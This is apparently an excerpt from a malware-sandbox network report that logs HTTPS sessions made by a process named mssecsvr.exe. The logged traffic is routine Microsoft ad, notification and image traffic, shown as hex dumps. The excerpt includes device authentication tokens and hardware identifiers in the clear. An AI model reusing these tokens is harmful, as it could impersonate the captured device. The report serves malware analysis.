2022-07-20 13:43:54 UTC	202	IN	Data Raw: 4d 53 2d 43 56 3a 20 67 43 68 6c 4c 61 59 77 75 55 75 4c 2b 35 42 6f 61 37 75 42 6e 41 2e 30 0d 0a 0d 0a 50 61 79 6c 6f 61 64 20 70 61 72 73 69 6e 67 20 66 61 69 6c 65 64 2e Data Ascii: MS-CV: gChlLaYwuUuL+5Boa7uBnA.0Payload parsing failed.

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
21	192.168.2.7	50389	20.40.129.122	443	C:\Windows\mssecsvr.exe

Timestamp	kBytes transferred	Direction	Data
2022-07-20 13:43:57 UTC	202	OUT	GET /v3/Delivery/Placement?pubid=da63df93-3dbc-42ae-a505-b34988683ac7&pid=338387&adm=2&w=1&h=1&wpx=1&hpx=1&fmt=json&cltp=app&dim=le&rafb=0&nct=1&pm=1&cfmt=text,image,poly&sft=jpeg,png,gif&topt=1&poptin=0&localid=w:EE4890C5-90AE-59E2-5AC5-C20AA6654592&ctry=US&time=20220720T224357Z&lc=en-US&pl=en-US&idtp=mid&uid=d9fcfe42-b5d5-4629-ac66-c2605ea824c4&aid=00000000-0000-0000-0000-000000000000&ua=WindowsShellClient%2F9.0.40929.0%20%28Windows%29&asid=d17bfb5e33954b64a49a8cae22e04bf0&ctmode=MultiSession&arch=x64&cdm=1&cdmver=10.0.17134.1&devfam=Windows.Desktop&devform=Unknown&devosver=10.0.17134.1&disphorzres=1280&dispsize=17.1&dispvertres=1024&isu=0&lo=1611518&metered=false&nettype=ethernet&npid=sc-338387&oemName=pcnvlh%2C%20Inc.&oemid=pcnvlh%2C%20Inc.&ossku=Professional&rver=2&sc-mode=0&smBiosDm=pcnvlh7%2C1&tl=2&tsu=1611518&waasBldFlt=1&waasCfgExp=1&waasCfgSet=1&waasRetail=1&waasRing= HTTP/1.1 Accept-Encoding: gzip, deflate X-SDK-CACHE: chs=0&imp=0&chf=0&ds=50583&fs=32220&sc=6 X-SDK-HW-TOKEN: t=EwDYAppeBAAUlAKXDAofTQM+n+MaRVFKzH/ehWgAAQ5X4V+iVB1y3B0mT32r6arZ/r5N7z5ViULgVV94nCfe3hb5cMylSNPrb0NJOUxTF4y9muV6l7RVpoOHLhKHPgWTitLGmCGcky0qXYurJZQFwByvNat0sRboG+UdCNWOREbcn4N4s+q33R9xq0wuecxzLKc/57dngP556aD8eXdVaMsdzo3HSKxYiJsFI+qtZtBLiG8OvX9pku5hKgxu2rZlNrrHHsgbBjsUJhI1Iw4ukceQjG7d/wvMBP/9pkqO7IzE1g+1Jw6CxhGcwVQRnrW021PV2hQgjR2KtHa3BQd8Qxl3hfY2yvqzx+D/TYskAuDbs3xbIQOU1ScKCBlXJFcDZgAACPHS8O4yqHwCqAEAoBOGEdpxcytzqynI+KQDV2/8wcyE46OICoVAWeCYCPACU5qJu3b4cB/ufiikbUKFlbsIwckzuKN/yq25tUgv0Q+aPBjPG6GzI53KhQYkvSyIIPobsMqCASJgtP2x23pe0bFQjxAS4OpuJQ8GbIWLvj9t3gqbajFFEd09+94kAW8lR8jjv0UsOlTscVmZdJuAbm8zuAud4OS9TSamEdQ5Hgh71k5OEUobQfX/B3R54RUCmWzIt9Qas+WEQckUk0Em8Jmiy3/UVseB+SnVgyyZQmi9IiZ/w3LqXqYWhlip5Js6jdxBEun4PV/4aUp0yLl7XsDX+yVNOPYq9f0Xz2qL1EisCzD2tOmvcbaJ21VSHHGBRHXhaL3lYlnoFkF4owcmzUFbXnPkOYYYGcs+Et6uYwvvWJoI3f2Tn6dr/VFKL4RrCxgjLk3HVRRDspVUXBFQqKuAopyS/1kwb3wGGyjnULckUjARE2KGtMW1LRN0kGCvZmZjJLGE8bvNeQzt7DCuliAdsVW1yWl6F0Zc7u6tZtUeEVDZcKLep13vPYe+vi+xpI/XW2+O1gE=&p= Cache-Control: no-cache MS-CV: MHl7punZlkWwHexF.0 User-Agent: WindowsShellClient/9.0.40929.0 (Windows) X-SDK-HWF: tch0,m301,m751,mA01,mT01 Host: arc.msn.com Connection: Keep-Alive
2022-07-20 13:43:58 UTC	206	IN	HTTP/1.1 200 OK Cache-Control: no-store, no-cache Pragma: no-cache Content-Length: 24588 Content-Type: application/json; charset=utf-8 Expires: Mon, 01 Jan 0001 00:00:00 GMT Server: Microsoft-IIS/10.0 ARC-RSP-DBG: [{"RADIDS":"3,P425056668-T700379701-C128000000002296049+B+P90+S1,P425615666-T700383923-C128000000003288669+B+P60+S2,P425119424-T700340276-C128000000003518049+B+P20+S3"},{"BATCH_REDIRECT_STORE":"BWW_128000000002296049_EN-US+P0+S0"},{"BATCH_REDIRECT_STORE":"BWW_128000000003288669_EN-US+P0+S0"},{"BATCH_REDIRECT_STORE":"BWW_128000000003518049_EN-US+P0+S0"},{"OPTOUTSTATE":"256"}] X-ARC-SIG: X+1KH+Xfnn2H9JhADVzPjaSY+GutQKXfRKTzuBWPlTCZttp1Gk5VXDzftc02ORbltP0GuTOyBcIY8tkJOBRhWY/iBVebBl2m+kS9iFcX3dKArkwsyZdlajql1EuRGgjTDDyda8/SLfGqBucCRtAfwyuzhmQbsyv00ekqwTirJVYZ9VtDWN09PP+howTwGPKKmSl9KSBuwXZhstRrJQj6wQT7seqnrxSDiJ7/+KF9DRyvDleVBTzv4M0TSEjLxSyJXlzTAZTSeXBXWdq3sOIirtCt+Sz8VzKY843/yG225oYDeM1zX3smHnwoj/+3E0kCNShIEBRuLj8dg2YPWFBzFQ== Accept-CH: UA, UA-Arch, UA-Full-Version, UA-Mobile, UA-Model, UA-Platform, UA-Platform-Version X-AspNet-Version: 4.0.30319 X-Powered-By: ASP.NET Strict-Transport-Security: max-age=31536000; includeSubDomains Date: Wed, 20 Jul 2022 13:43:57 GMT Connection: close
2022-07-20 13:43:58 UTC	207	IN	Data Raw: 7b 22 62 61 74 63 68 72 73 70 22 3a 7b 22 76 65 72 22 3a 22 31 2e 30 22 2c 22 69 74 65 6d 73 22 3a 5b 7b 22 69 74 65 6d 22 3a 22 7b 5c 22 66 5c 22 3a 5c 22 72 61 66 5c 22 2c 5c 22 76 5c 22 3a 5c 22 31 2e 30 5c 22 2c 5c 22 72 64 72 5c 22 3a 5b 7b 5c 22 63 5c 22 3a 5c 22 43 44 4d 5c 22 2c 5c 22 75 5c 22 3a 5c 22 53 75 62 73 63 72 69 62 65 64 43 6f 6e 74 65 6e 74 5c 22 7d 5d 2c 5c 22 61 64 5c 22 3a 7b 5c 22 63 6c 61 73 73 5c 22 3a 5c 22 63 6f 6e 74 65 6e 74 5c 22 2c 5c 22 63 6f 6c 6c 65 63 74 69 6f 6e 73 5c 22 3a 5b 5d 2c 5c 22 6e 61 6d 65 5c 22 3a 5c 22 4c 6f 63 6b 53 63 72 65 65 6e 5c 22 2c 5c 22 70 72 6f 70 65 72 74 79 4d 61 6e 69 66 65 73 74 5c 22 3a 7b 5c 22 6c 61 6e 64 73 63 61 70 65 49 6d 61 67 65 5c 22 3a 7b 5c 22 74 79 70 65 5c 22 3a 5c 22 69 6d 61 Data Ascii: {"batchrsp":{"ver":"1.0","items":[{"item":"{\"f\":\"raf\",\"v\":\"1.0\",\"rdr\":[{\"c\":\"CDM\",\"u\":\"SubscribedContent\"}],\"ad\":{\"class\":\"content\",\"collections\":[],\"name\":\"LockScreen\",\"propertyManifest\":{\"landscapeImage\":{\"type\":\"ima
2022-07-20 13:43:58 UTC	222	IN	Data Raw: 41 32 37 36 38 44 45 32 36 46 37 33 41 45 43 43 36 38 39 32 32 33 34 32 26 47 4c 4f 42 41 4c 44 45 56 49 43 45 49 44 3d 36 38 32 35 37 39 35 30 35 32 37 39 35 32 33 39 26 4c 4f 43 41 4c 49 44 3d 77 3a 45 45 34 38 39 30 43 35 2d 39 30 41 45 2d 35 39 45 32 2d 35 41 43 35 2d 43 32 30 41 41 36 36 35 34 35 39 32 26 44 53 5f 45 56 54 49 44 3d 62 30 65 38 37 61 35 30 31 63 39 64 34 32 64 35 38 30 35 63 63 34 65 35 36 30 34 33 35 36 31 35 26 42 43 4e 54 3d 31 26 50 47 3d 50 43 30 30 30 50 30 46 52 35 2e 30 30 30 30 30 30 30 49 52 53 26 55 4e 49 44 3d 33 33 38 33 38 37 26 4d 41 50 5f 54 49 44 3d 43 37 34 37 38 46 31 45 2d 43 43 39 46 2d 34 43 41 39 2d 42 43 44 39 2d 45 42 41 43 37 44 38 34 31 44 31 36 26 4e 43 54 3d 31 26 50 4e 3d 44 41 36 33 44 46 39 33 2d 33 44 Data Ascii: A2768DE26F73AECC68922342&GLOBALDEVICEID=6825795052795239&LOCALID=w:EE4890C5-90AE-59E2-5AC5-C20AA6654592&DS_EVTID=b0e87a501c9d42d5805cc4e560435615&BCNT=1&PG=PC000P0FR5.0000000IRS&UNID=338387&MAP_TID=C7478F1E-CC9F-4CA9-BCD9-EBAC7D841D16&NCT=1&PN=DA63DF93-3D

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
22	192.168.2.7	50400	20.40.129.122	443	C:\Windows\mssecsvr.exe

Timestamp	kBytes transferred	Direction	Data
2022-07-20 13:43:57 UTC	204	OUT	GET /v3/Delivery/Placement?pubid=da63df93-3dbc-42ae-a505-b34988683ac7&pid=338388&adm=2&w=1&h=1&wpx=1&hpx=1&fmt=json&cltp=app&dim=le&rafb=0&nct=1&pm=1&cfmt=text,image,poly&sft=jpeg,png,gif&topt=1&poptin=0&localid=w:EE4890C5-90AE-59E2-5AC5-C20AA6654592&ctry=US&time=20220720T224357Z&lc=en-US&pl=en-US&idtp=mid&uid=d9fcfe42-b5d5-4629-ac66-c2605ea824c4&aid=00000000-0000-0000-0000-000000000000&ua=WindowsShellClient%2F9.0.40929.0%20%28Windows%29&asid=aa823973afe94f8286f7c63b37967d6e&ctmode=MultiSession&arch=x64&cdm=1&cdmver=10.0.17134.1&devfam=Windows.Desktop&devform=Unknown&devosver=10.0.17134.1&disphorzres=1280&dispsize=17.1&dispvertres=1024&isu=0&lo=1611518&metered=false&nettype=ethernet&npid=sc-338388&oemName=pcnvlh%2C%20Inc.&oemid=pcnvlh%2C%20Inc.&ossku=Professional&rver=2&smBiosDm=pcnvlh7%2C1&tl=2&tsu=1611518&waasBldFlt=1&waasCfgExp=1&waasCfgSet=1&waasRetail=1&waasRing= HTTP/1.1 Accept-Encoding: gzip, deflate X-SDK-CACHE: chs=0&imp=0&chf=0&ds=50583&fs=32220&sc=6 X-SDK-HW-TOKEN: t=EwDYAppeBAAUlAKXDAofTQM+n+MaRVFKzH/ehWgAAQ5X4V+iVB1y3B0mT32r6arZ/r5N7z5ViULgVV94nCfe3hb5cMylSNPrb0NJOUxTF4y9muV6l7RVpoOHLhKHPgWTitLGmCGcky0qXYurJZQFwByvNat0sRboG+UdCNWOREbcn4N4s+q33R9xq0wuecxzLKc/57dngP556aD8eXdVaMsdzo3HSKxYiJsFI+qtZtBLiG8OvX9pku5hKgxu2rZlNrrHHsgbBjsUJhI1Iw4ukceQjG7d/wvMBP/9pkqO7IzE1g+1Jw6CxhGcwVQRnrW021PV2hQgjR2KtHa3BQd8Qxl3hfY2yvqzx+D/TYskAuDbs3xbIQOU1ScKCBlXJFcDZgAACPHS8O4yqHwCqAEAoBOGEdpxcytzqynI+KQDV2/8wcyE46OICoVAWeCYCPACU5qJu3b4cB/ufiikbUKFlbsIwckzuKN/yq25tUgv0Q+aPBjPG6GzI53KhQYkvSyIIPobsMqCASJgtP2x23pe0bFQjxAS4OpuJQ8GbIWLvj9t3gqbajFFEd09+94kAW8lR8jjv0UsOlTscVmZdJuAbm8zuAud4OS9TSamEdQ5Hgh71k5OEUobQfX/B3R54RUCmWzIt9Qas+WEQckUk0Em8Jmiy3/UVseB+SnVgyyZQmi9IiZ/w3LqXqYWhlip5Js6jdxBEun4PV/4aUp0yLl7XsDX+yVNOPYq9f0Xz2qL1EisCzD2tOmvcbaJ21VSHHGBRHXhaL3lYlnoFkF4owcmzUFbXnPkOYYYGcs+Et6uYwvvWJoI3f2Tn6dr/VFKL4RrCxgjLk3HVRRDspVUXBFQqKuAopyS/1kwb3wGGyjnULckUjARE2KGtMW1LRN0kGCvZmZjJLGE8bvNeQzt7DCuliAdsVW1yWl6F0Zc7u6tZtUeEVDZcKLep13vPYe+vi+xpI/XW2+O1gE=&p= Cache-Control: no-cache MS-CV: MHl7punZlkWwHexF.0 User-Agent: WindowsShellClient/9.0.40929.0 (Windows) X-SDK-HWF: tch0,m301,m751,mA01,mT01 Host: arc.msn.com Connection: Keep-Alive
2022-07-20 13:43:58 UTC	231	IN	HTTP/1.1 200 OK Cache-Control: no-store, no-cache Pragma: no-cache Content-Length: 4483 Content-Type: application/json; charset=utf-8 Expires: Mon, 01 Jan 0001 00:00:00 GMT Server: Microsoft-IIS/10.0 ARC-RSP-DBG: [{"RADIDS":"1,P400091688-T700129702-C128000000000402926+B+P20+S1"},{"OPTOUTSTATE":"256"}] X-ARC-SIG: KNc4EI4odCZdAFjr56wmSnoVLMhaY/11yjQMs331zyNWtJVZGHZXc9SAnRRWCTE3NZwV6bPS+s2PKPLaVlw3ud2kjLgBG1u8ciZETbO8g3svdEjPzFZHYf9pdWjONzz6T6DIsxnodrqjkta5pJXMm7NyXvQ9lKPaoI3hl08b3+ZOiAKu4YaRDhK/pxxAn9gqESnpEa8xRzV2TH1PcQI4ZFywtqWjMUfXB/f3PfTxjM0UObjp2+ic1LKZgXjJnWmBRSPh+SK50p0Vl05WEWthLwYGI/qeP6Bdc92bvhXUQoTi/w3nLVIfjs88Nw8Xlj8UzN+xXrsMJbCWMm2jTdLSxw== Accept-CH: UA, UA-Arch, UA-Full-Version, UA-Mobile, UA-Model, UA-Platform, UA-Platform-Version X-AspNet-Version: 4.0.30319 X-Powered-By: ASP.NET Strict-Transport-Security: max-age=31536000; includeSubDomains Date: Wed, 20 Jul 2022 13:43:57 GMT Connection: close
2022-07-20 13:43:58 UTC	232	IN	Data Raw: 7b 22 62 61 74 63 68 72 73 70 22 3a 7b 22 76 65 72 22 3a 22 31 2e 30 22 2c 22 69 74 65 6d 73 22 3a 5b 7b 22 69 74 65 6d 22 3a 22 7b 5c 22 66 5c 22 3a 5c 22 72 61 66 5c 22 2c 5c 22 76 5c 22 3a 5c 22 31 2e 30 5c 22 2c 5c 22 72 64 72 5c 22 3a 5b 7b 5c 22 63 5c 22 3a 5c 22 43 44 4d 5c 22 2c 5c 22 75 5c 22 3a 5c 22 53 75 62 73 63 72 69 62 65 64 43 6f 6e 74 65 6e 74 5c 22 7d 5d 2c 5c 22 61 64 5c 22 3a 7b 5c 22 63 6c 61 73 73 5c 22 3a 5c 22 63 6f 6e 74 65 6e 74 5c 22 2c 5c 22 63 6f 6c 6c 65 63 74 69 6f 6e 73 5c 22 3a 5b 5d 2c 5c 22 69 74 65 6d 50 72 6f 70 65 72 74 79 4d 61 6e 69 66 65 73 74 5c 22 3a 7b 5c 22 74 65 6d 70 6c 61 74 65 54 79 70 65 5c 22 3a 7b 5c 22 74 79 70 65 5c 22 3a 5c 22 74 65 78 74 5c 22 7d 2c 5c 22 6f 6e 52 65 6e 64 65 72 5c 22 3a 7b 5c 22 74 Data Ascii: {"batchrsp":{"ver":"1.0","items":[{"item":"{\"f\":\"raf\",\"v\":\"1.0\",\"rdr\":[{\"c\":\"CDM\",\"u\":\"SubscribedContent\"}],\"ad\":{\"class\":\"content\",\"collections\":[],\"itemPropertyManifest\":{\"templateType\":{\"type\":\"text\"},\"onRender\":{\"t

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
23	192.168.2.7	50490	20.199.120.182	443	C:\Windows\mssecsvr.exe

Timestamp	kBytes transferred	Direction	Data
2022-07-20 13:44:03 UTC	236	OUT	Data Raw: 43 4e 54 20 31 20 43 4f 4e 20 32 34 36 0d 0a 43 6f 6e 74 65 78 74 3a 20 66 33 35 38 36 31 62 64 64 30 38 61 65 66 64 61 0d 0a 0d 0a Data Ascii: CNT 1 CON 246Context: f35861bdd08aefda
2022-07-20 13:44:03 UTC	236	OUT	Data Raw: 3c 63 6f 6e 6e 65 63 74 3e 3c 76 65 72 3e 32 3c 2f 76 65 72 3e 3c 61 67 65 6e 74 3e 3c 6f 73 3e 57 69 6e 64 6f 77 73 3c 2f 6f 73 3e 3c 6f 73 56 65 72 3e 31 30 2e 30 2e 30 2e 30 2e 31 37 31 33 34 3c 2f 6f 73 56 65 72 3e 3c 70 72 6f 63 3e 78 36 34 3c 2f 70 72 6f 63 3e 3c 6c 63 69 64 3e 65 6e 2d 55 53 3c 2f 6c 63 69 64 3e 3c 67 65 6f 49 64 3e 32 34 34 3c 2f 67 65 6f 49 64 3e 3c 61 6f 61 63 3e 30 3c 2f 61 6f 61 63 3e 3c 64 65 76 69 63 65 54 79 70 65 3e 31 3c 2f 64 65 76 69 63 65 54 79 70 65 3e 3c 64 65 76 69 63 65 4e 61 6d 65 3e 56 4d 77 61 72 65 37 2c 31 3c 2f 64 65 76 69 63 65 4e 61 6d 65 3e 3c 2f 61 67 65 6e 74 3e 3c 2f 63 6f 6e 6e 65 63 74 3e Data Ascii: <connect><ver>2</ver><agent><os>Windows</os><osVer>10.0.0.0.17134</osVer><proc>x64</proc><lcid>en-US</lcid><geoId>244</geoId><aoac>0</aoac><deviceType>1</deviceType><deviceName>VMware7,1</deviceName></agent></connect>
2022-07-20 13:44:03 UTC	237	OUT	Data Raw: 41 54 48 20 32 20 43 4f 4e 5c 44 45 56 49 43 45 20 31 30 31 34 0d 0a 43 6f 6e 74 65 78 74 3a 20 66 33 35 38 36 31 62 64 64 30 38 61 65 66 64 61 0d 0a 0d 0a 3c 64 65 76 69 63 65 3e 3c 63 6f 6d 70 61 63 74 2d 74 69 63 6b 65 74 3e 74 3d 45 77 43 6f 41 75 70 49 42 41 41 55 31 62 44 47 66 64 61 7a 69 44 66 58 70 6a 4e 35 4e 36 63 59 68 54 31 77 62 6d 51 41 41 64 54 69 38 64 44 74 63 47 2b 6e 56 77 43 42 53 39 37 48 76 31 6a 70 37 4f 4f 4f 44 72 71 4e 37 46 58 69 6f 47 4c 48 31 2f 76 2f 53 35 30 42 79 33 4f 4f 48 49 65 52 32 6e 33 78 53 30 68 6d 74 35 75 65 57 2f 6c 48 34 4c 4f 30 77 31 66 44 6f 30 51 46 2f 4c 79 39 36 2b 50 74 53 37 59 65 2b 64 53 43 59 4c 70 55 69 56 46 6c 58 56 77 62 48 46 35 50 46 30 47 44 53 76 70 4e 4e 55 4a 6e 49 47 77 53 38 65 48 68 6c Data Ascii: ATH 2 CON\DEVICE 1014Context: f35861bdd08aefda<device><compact-ticket>t=EwCoAupIBAAU1bDGfdaziDfXpjN5N6cYhT1wbmQAAdTi8dDtcG+nVwCBS97Hv1jp7OOODrqN7FXioGLH1/v/S50By3OOHIeR2n3xS0hmt5ueW/lH4LO0w1fDo0QF/Ly96+PtS7Ye+dSCYLpUiVFlXVwbHF5PF0GDSvpNNUJnIGwS8eHhl
2022-07-20 13:44:03 UTC	238	OUT	Data Raw: 42 4e 44 20 33 20 43 4f 4e 5c 51 4f 53 20 32 39 0d 0a 43 6f 6e 74 65 78 74 3a 20 66 33 35 38 36 31 62 64 64 30 38 61 65 66 64 61 0d 0a 0d 0a Data Ascii: BND 3 CON\QOS 29Context: f35861bdd08aefda
2022-07-20 13:44:03 UTC	238	IN	Data Raw: 32 30 32 20 31 20 43 4f 4e 20 35 38 0d 0a Data Ascii: 202 1 CON 58
2022-07-20 13:44:03 UTC	238	IN	Data Raw: 4d 53 2d 43 56 3a 20 5a 49 55 49 49 70 72 6a 51 45 79 56 4a 4c 76 52 55 33 53 47 6e 51 2e 30 0d 0a 0d 0a 50 61 79 6c 6f 61 64 20 70 61 72 73 69 6e 67 20 66 61 69 6c 65 64 2e Data Ascii: MS-CV: ZIUIIprjQEyVJLvRU3SGnQ.0Payload parsing failed.

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
24	192.168.2.7	50535	20.199.120.85	443	C:\Windows\mssecsvr.exe

Timestamp	kBytes transferred	Direction	Data
2022-07-20 13:44:05 UTC	238	OUT	Data Raw: 43 4e 54 20 31 20 43 4f 4e 20 32 34 36 0d 0a 43 6f 6e 74 65 78 74 3a 20 64 34 32 64 62 32 34 34 30 39 33 32 62 63 35 34 0d 0a 0d 0a Data Ascii: CNT 1 CON 246Context: d42db2440932bc54
2022-07-20 13:44:05 UTC	238	OUT	Data Raw: 3c 63 6f 6e 6e 65 63 74 3e 3c 76 65 72 3e 32 3c 2f 76 65 72 3e 3c 61 67 65 6e 74 3e 3c 6f 73 3e 57 69 6e 64 6f 77 73 3c 2f 6f 73 3e 3c 6f 73 56 65 72 3e 31 30 2e 30 2e 30 2e 30 2e 31 37 31 33 34 3c 2f 6f 73 56 65 72 3e 3c 70 72 6f 63 3e 78 36 34 3c 2f 70 72 6f 63 3e 3c 6c 63 69 64 3e 65 6e 2d 55 53 3c 2f 6c 63 69 64 3e 3c 67 65 6f 49 64 3e 32 34 34 3c 2f 67 65 6f 49 64 3e 3c 61 6f 61 63 3e 30 3c 2f 61 6f 61 63 3e 3c 64 65 76 69 63 65 54 79 70 65 3e 31 3c 2f 64 65 76 69 63 65 54 79 70 65 3e 3c 64 65 76 69 63 65 4e 61 6d 65 3e 56 4d 77 61 72 65 37 2c 31 3c 2f 64 65 76 69 63 65 4e 61 6d 65 3e 3c 2f 61 67 65 6e 74 3e 3c 2f 63 6f 6e 6e 65 63 74 3e Data Ascii: <connect><ver>2</ver><agent><os>Windows</os><osVer>10.0.0.0.17134</osVer><proc>x64</proc><lcid>en-US</lcid><geoId>244</geoId><aoac>0</aoac><deviceType>1</deviceType><deviceName>VMware7,1</deviceName></agent></connect>
2022-07-20 13:44:05 UTC	238	OUT	Data Raw: 41 54 48 20 32 20 43 4f 4e 5c 44 45 56 49 43 45 20 31 30 31 34 0d 0a 43 6f 6e 74 65 78 74 3a 20 64 34 32 64 62 32 34 34 30 39 33 32 62 63 35 34 0d 0a 0d 0a 3c 64 65 76 69 63 65 3e 3c 63 6f 6d 70 61 63 74 2d 74 69 63 6b 65 74 3e 74 3d 45 77 43 6f 41 75 70 49 42 41 41 55 31 62 44 47 66 64 61 7a 69 44 66 58 70 6a 4e 35 4e 36 63 59 68 54 31 77 62 6d 51 41 41 64 54 69 38 64 44 74 63 47 2b 6e 56 77 43 42 53 39 37 48 76 31 6a 70 37 4f 4f 4f 44 72 71 4e 37 46 58 69 6f 47 4c 48 31 2f 76 2f 53 35 30 42 79 33 4f 4f 48 49 65 52 32 6e 33 78 53 30 68 6d 74 35 75 65 57 2f 6c 48 34 4c 4f 30 77 31 66 44 6f 30 51 46 2f 4c 79 39 36 2b 50 74 53 37 59 65 2b 64 53 43 59 4c 70 55 69 56 46 6c 58 56 77 62 48 46 35 50 46 30 47 44 53 76 70 4e 4e 55 4a 6e 49 47 77 53 38 65 48 68 6c Data Ascii: ATH 2 CON\DEVICE 1014Context: d42db2440932bc54<device><compact-ticket>t=EwCoAupIBAAU1bDGfdaziDfXpjN5N6cYhT1wbmQAAdTi8dDtcG+nVwCBS97Hv1jp7OOODrqN7FXioGLH1/v/S50By3OOHIeR2n3xS0hmt5ueW/lH4LO0w1fDo0QF/Ly96+PtS7Ye+dSCYLpUiVFlXVwbHF5PF0GDSvpNNUJnIGwS8eHhl
2022-07-20 13:44:05 UTC	239	OUT	Data Raw: 42 4e 44 20 33 20 43 4f 4e 5c 57 4e 53 20 31 30 34 34 34 37 38 20 31 37 30 0d 0a 43 6f 6e 74 65 78 74 3a 20 64 34 32 64 62 32 34 34 30 39 33 32 62 63 35 34 0d 0a 0d 0a 3c 77 6e 73 3e 3c 76 65 72 3e 31 3c 2f 76 65 72 3e 3c 63 6c 69 65 6e 74 3e 3c 6e 61 6d 65 3e 57 50 4e 3c 2f 6e 61 6d 65 3e 3c 76 65 72 3e 31 2e 30 3c 2f 76 65 72 3e 3c 2f 63 6c 69 65 6e 74 3e 3c 6f 70 74 69 6f 6e 73 3e 3c 70 77 72 6d 6f 64 65 20 6d 6f 64 65 3d 22 30 22 3e 3c 2f 70 77 72 6d 6f 64 65 3e 3c 2f 6f 70 74 69 6f 6e 73 3e 3c 6c 61 73 74 4d 73 67 49 64 3e 30 3c 2f 6c 61 73 74 4d 73 67 49 64 3e 3c 2f 77 6e 73 3e Data Ascii: BND 3 CON\WNS 1044478 170Context: d42db2440932bc54<wns><ver>1</ver><client><name>WPN</name><ver>1.0</ver></client><options><pwrmode mode="0"></pwrmode></options><lastMsgId>0</lastMsgId></wns>
2022-07-20 13:44:05 UTC	239	IN	Data Raw: 32 30 32 20 31 20 43 4f 4e 20 35 38 0d 0a Data Ascii: 202 1 CON 58
2022-07-20 13:44:05 UTC	239	IN	Data Raw: 4d 53 2d 43 56 3a 20 42 50 43 42 31 6e 63 36 53 55 69 51 4a 2b 77 4d 54 6b 5a 36 39 51 2e 30 0d 0a 0d 0a 50 61 79 6c 6f 61 64 20 70 61 72 73 69 6e 67 20 66 61 69 6c 65 64 2e Data Ascii: MS-CV: BPCB1nc6SUiQJ+wMTkZ69Q.0Payload parsing failed.

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
25	192.168.2.7	50725	80.67.82.211	443	C:\Windows\mssecsvr.exe

Timestamp	kBytes transferred	Direction	Data
2022-07-20 13:44:17 UTC	239	OUT	GET /cms/api/am/imageFileData/RE4Fw5W?ver=8f07 HTTP/1.1 Accept: / Accept-Encoding: gzip, deflate, br User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/64.0.3282.140 Safari/537.36 Edge/17.17134 Host: img-prod-cms-rt-microsoft-com.akamaized.net Connection: Keep-Alive
2022-07-20 13:44:17 UTC	241	IN	HTTP/1.1 200 OK Content-Type: image/jpeg Access-Control-Allow-Origin: * Content-Location: https://image.prod.cms.rt.microsoft.com/cms/api/am/imageFileData/RE4Fw5W?ver=8f07 Last-Modified: Sat, 09 Jul 2022 15:27:38 GMT X-Source-Length: 498664 X-Datacenter: northeu X-ActivityId: 2ad26ae6-d060-4319-bca6-3bf7adbdb856 Timing-Allow-Origin: * X-Frame-Options: DENY X-ResizerVersion: 1.0 Content-Length: 498664 Cache-Control: public, max-age=265441 Expires: Sat, 23 Jul 2022 15:28:18 GMT Date: Wed, 20 Jul 2022 13:44:17 GMT Connection: close
2022-07-20 13:44:17 UTC	241	IN	Data Raw: ff d8 ff e0 00 10 4a 46 49 46 00 01 01 01 00 60 00 60 00 00 ff db 00 43 00 03 02 02 03 02 02 03 03 03 03 04 03 03 04 05 08 05 05 04 04 05 0a 07 07 06 08 0c 0a 0c 0c 0b 0a 0b 0b 0d 0e 12 10 0d 0e 11 0e 0b 0b 10 16 10 11 13 14 15 15 15 0c 0f 17 18 16 14 18 12 14 15 14 ff db 00 43 01 03 04 04 05 04 05 09 05 05 09 14 0d 0b 0d 14 14 14 14 14 14 14 14 14 14 14 14 14 14 14 14 14 14 14 14 14 14 14 14 14 14 14 14 14 14 14 14 14 14 14 14 14 14 14 14 14 14 14 14 14 14 14 14 14 14 ff c0 00 11 08 04 38 07 80 03 01 22 00 02 11 01 03 11 01 ff c4 00 1f 00 00 01 05 01 01 01 01 01 01 00 00 00 00 00 00 00 00 01 02 03 04 05 06 07 08 09 0a 0b ff c4 00 b5 10 00 02 01 03 03 02 04 03 05 05 04 04 00 00 01 7d 01 02 03 00 04 11 05 12 21 31 41 06 13 51 61 07 22 71 14 32 81 91 a1 08 Data Ascii: JFIF``CC8"}!1AQa"q2
2022-07-20 13:44:17 UTC	340	IN	Data Raw: c6 d1 64 55 a9 76 da 47 b3 68 3f b6 47 88 ad ee a2 1a b6 95 a6 dd d8 f0 a6 3b 58 cc 0c 8a 38 c2 1c 91 c0 03 a8 f4 ae db c6 5a 6e 83 f1 c7 c2 b2 78 b7 c2 79 3a 9d 99 53 7d 64 53 13 af fb 45 47 52 07 71 c3 0c f7 15 f1 ec 8c 62 90 82 79 ae c3 e1 8f c4 6d 47 e1 af 8b 2c b5 9d 3e 56 fd db 05 9e 1c e1 67 88 fd e4 3f 87 4f 42 01 ae ef 68 e4 b9 67 b1 c1 0a ae 12 b9 0f 8c fc 36 74 fb c0 d6 ca 67 57 5d c1 54 71 1f 7c 66 b1 f4 b3 f6 1b 1b 89 65 c9 95 8e d5 5c f4 1f e7 15 f4 27 c4 4d 5f 46 f1 55 d4 9a f6 8b 61 24 5a 55 c0 13 c6 b2 44 14 09 06 04 9d 09 1c 11 9f f8 10 af 02 f1 74 22 0d 62 e0 47 83 14 cd b8 32 f4 39 ac 61 2b be 46 77 54 82 8d aa 47 a9 95 a6 5b fd b2 f9 04 a4 ac 6c 7e 76 51 92 07 73 fa d7 63 e3 1d 25 34 3f 0e 69 50 c1 70 97 31 c9 24 92 89 53 95 39 3f cf Data Ascii: dUvGh?G;X8Znxy:S}dSEGRqbymG,>Vg?OBhg6tgW]Tq\|fe\'M_FUa$ZUDt"bG29a+FwTG[l~vQsc%4?iPp1$S9?
